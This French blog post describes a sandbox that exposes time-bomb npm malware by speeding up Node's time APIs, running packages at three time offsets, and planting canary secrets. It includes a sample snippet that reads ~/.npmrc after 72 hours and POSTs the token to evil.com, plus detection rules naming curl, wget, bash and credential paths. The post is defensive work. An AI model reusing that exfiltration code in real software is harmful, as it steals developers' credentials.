← Blog

MITRE ATT&CK T1497.003 - Time Based Evasion Checks - est dans le top 10 des techniques d'evasion en 2026. L'idee est simple : le malware attend 72 heures avant de voler les credentials. Le sandbox Docker a un timeout de 120 secondes. Le payload ne s'execute jamais pendant l'analyse.

La solution : on accelere le temps.

Le probleme

Un malware classique fait ceci :

// Attendre 3 jours apres l'installation
setTimeout(() => {
  const token = fs.readFileSync(
    path.join(os.homedir(), '.npmrc'), 'utf8'
  );
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: token
  });
}, 72 * 3600 * 1000);  // 72 heures

Le sandbox execute le package pendant 120 secondes. Le setTimeout de 72h ne se declenche jamais. Le sandbox conclut : aucun comportement suspect. Package clean.

C'est exactement ce que les attaquants veulent.

La solution : monkey-patching via preload

Le container Docker injecte un script preload via NODE_OPTIONS=--require /opt/preload.js. Ce script patche toutes les APIs de temps avant que le code du package s'execute :

// Sauvegarder les originaux dans une closure inaccessible
const _origDateNow = Date.now;
const _origSetTimeout = setTimeout;
const _origSetInterval = setInterval;

// Offset de temps (configurable par run)
let timeOffset = 0;  // Run 1: 0h, Run 2: +72h, Run 3: +7j

// Patcher Date.now() et new Date()
Date.now = () => _origDateNow.call(Date) + timeOffset;
const _OrigDate = Date;
globalThis.Date = function(...args) {
  if (args.length === 0) return new _OrigDate(_origDateNow() + timeOffset);
  return new _OrigDate(...args);
};

// Accelerer les timers
globalThis.setTimeout = (fn, delay, ...args) => {
  if (delay > 3600000) {  // > 1h
    log({ type: 'suspicious_timer', delay });
    return _origSetTimeout(fn, 0, ...args);  // Execution immediate
  }
  return _origSetTimeout(fn, delay, ...args);
};

Les APIs patchees de maniere coherente :

  • Date.now() - retourne le temps reel + offset
  • new Date() sans argument - date decalee
  • performance.now(), process.hrtime(), process.uptime() - tous synchronises
  • setTimeout(fn, 72h)setTimeout(fn, 0) - execution immediate
  • setInterval(fn, delay) → premiere execution immediate

Multi-run : 3 points dans le temps

Un seul offset ne suffit pas. Certains malwares attendent 3 jours, d'autres 1 semaine, d'autres verifient la date de premiere installation. Le sandbox execute le package 3 fois :

RunOffsetCible
Run 10hBaseline - comportement immediat
Run 2+72hTime-bombs 3 jours
Run 3+7 joursTime-bombs 1 semaine

Sortie anticipee si le score depasse 80 (CRITICAL detecte). Le meilleur score des 3 runs est retenu.

Interception des APIs sensibles

En plus de l'acceleration du temps, le preload intercepte toutes les APIs sensibles pour logging comportemental :

  • Reseau : http.request, https.request, fetch, dns.resolve, net.connect
  • Fichiers : readFileSync/writeFileSync avec detection de chemins sensibles (.npmrc, .ssh, .aws)
  • Processus : exec/spawn avec detection de commandes dangereuses (curl, wget, bash)
  • Environnement : Proxy sur process.env pour logger l'acces aux variables TOKEN/SECRET/KEY

Tout est ecrit dans /tmp/preload.log en JSON structuree, puis analyse par src/sandbox/analyzer.js.

6 nouvelles regles de detection

RegleSeveritePattern
Timer delay > 1hMEDIUMsetTimeout avec delai suspicieux
Timer delay > 24hCRITICALTime-bomb probable
Lecture fichier sensibleHIGH.npmrc, .ssh, .aws, .env via preload
Reseau apres lecture sensibleCRITICALCompose : file read + network = exfiltration
Execution commande dangereuseHIGHcurl, wget, bash, powershell via preload
Acces env sensibleMEDIUMTOKEN, SECRET, KEY, PASSWORD

La regle composite "reseau apres lecture sensible" est la plus puissante. Elle detecte la sequence exacte d'exfiltration : lire un fichier de credentials, puis envoyer les donnees sur le reseau. Score : +40 points - suffisant pour declencher l'alerte a lui seul.

Canary tokens : les honeypots

Le sandbox injecte 6 faux secrets dans l'environnement :

GITHUB_TOKEN=ghp_canary_xxxxxxxxxxxx
NPM_TOKEN=npm_canary_xxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA_canary_xxxxxxx
AWS_SECRET_ACCESS_KEY=canary_xxxxxxx
SLACK_WEBHOOK_URL=https://hooks.slack.com/canary
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/canary

Si le package tente d'exfiltrer ces tokens via HTTP, DNS, ou stdout, c'est la preuve directe de malveillance. L'exfiltration est recherchee dans 7 vecteurs : corps HTTP, requetes DNS, URLs HTTP, connexions TLS, modifications filesystem, commandes processus, et sortie d'installation.

Securite du preload

  • Tout est encapsule dans une IIFE - le package cible ne peut pas acceder aux references originales
  • Chaque patch est protege par try/catch - le preload ne peut jamais casser le package analyse
  • NODE_OPTIONS est verrouille via Object.defineProperty apres injection - empeche le bypass dans les processus enfants
  • L'injection est differee au point d'entree du package, pas pendant npm install - evite d'intercepter les appels reseau de npm lui-meme

Resultats

MetriqueAvantApres
Regles sandbox814 (+6)
Tests14711522 (+51)
Detection time-bombsimpossible3 points dans le temps

Lecon

Les malwares modernes ne s'executent pas immediatement. Ils attendent que le scanner ait fini son analyse, que l'environnement CI/CD soit passe, que l'attention du developpeur se soit relachee. L'acceleration du temps dans le sandbox transforme un setTimeout(fn, 72h) en setTimeout(fn, 0) - le malware croit que 3 jours se sont ecoules, et declenche son payload pendant l'analyse.

Le monkey-patching coherent est essentiel. Si Date.now() dit +72h mais que process.uptime() dit 2 secondes, un malware sophistique detecte l'inconsistance. Toutes les APIs de temps doivent raconter la meme histoire.